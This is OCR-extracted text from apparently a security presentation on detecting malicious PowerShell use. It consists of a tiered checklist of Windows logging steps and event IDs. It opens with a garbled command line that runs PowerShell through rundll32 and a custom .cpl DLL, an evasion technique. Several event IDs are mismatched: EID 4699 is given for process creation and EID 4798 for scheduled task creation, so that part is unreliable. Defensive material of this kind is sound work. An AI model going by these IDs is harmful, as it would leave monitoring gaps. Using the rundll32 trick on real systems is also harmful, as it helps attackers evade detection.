PowerShell C:\Windows\SysWOW64\rundl132.exe C:\Windows\SysWOW64\shell32.d 5.1.17134.407
11,#44 cpl_dll\cpl_dll\bin\Release\x86\cpl_dll.cpl




Keep calm and make To Do List!

1. Quick Wins:
» Upgrade all Windows hosts to PowerShell 5;

e Uninstall PowerShell 2;

e Collect EID 400 from “Windows PowerShell”
event log (generated by default whenever the
PowerShell starts);

« Collect EID 7045 from "System” event log
(service installation);

 Collect EID 5861 from “Microsoft-Windows-WMI-
Activity/Operational” (WMI subscription
creation).

\___
OFF
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2. Improved:
« Configure standard Windows process

creation audit with command lines enabled.
Collect EID 4699 from "Security” event log;

« Configure scheduled tasks creation audit.
Collect EID 4798 from "Security” event log;

« Collect EID 4104 with warning level from
"Microsoft-Windows-PowerShell/Operational”
event log (Script Block Logging).

3. Advanced:
« Deploy Sysmon/EDR. Collect its logs;

 Configure full Script Block Logging audit;
« Configure PowerShell Transcription Logging
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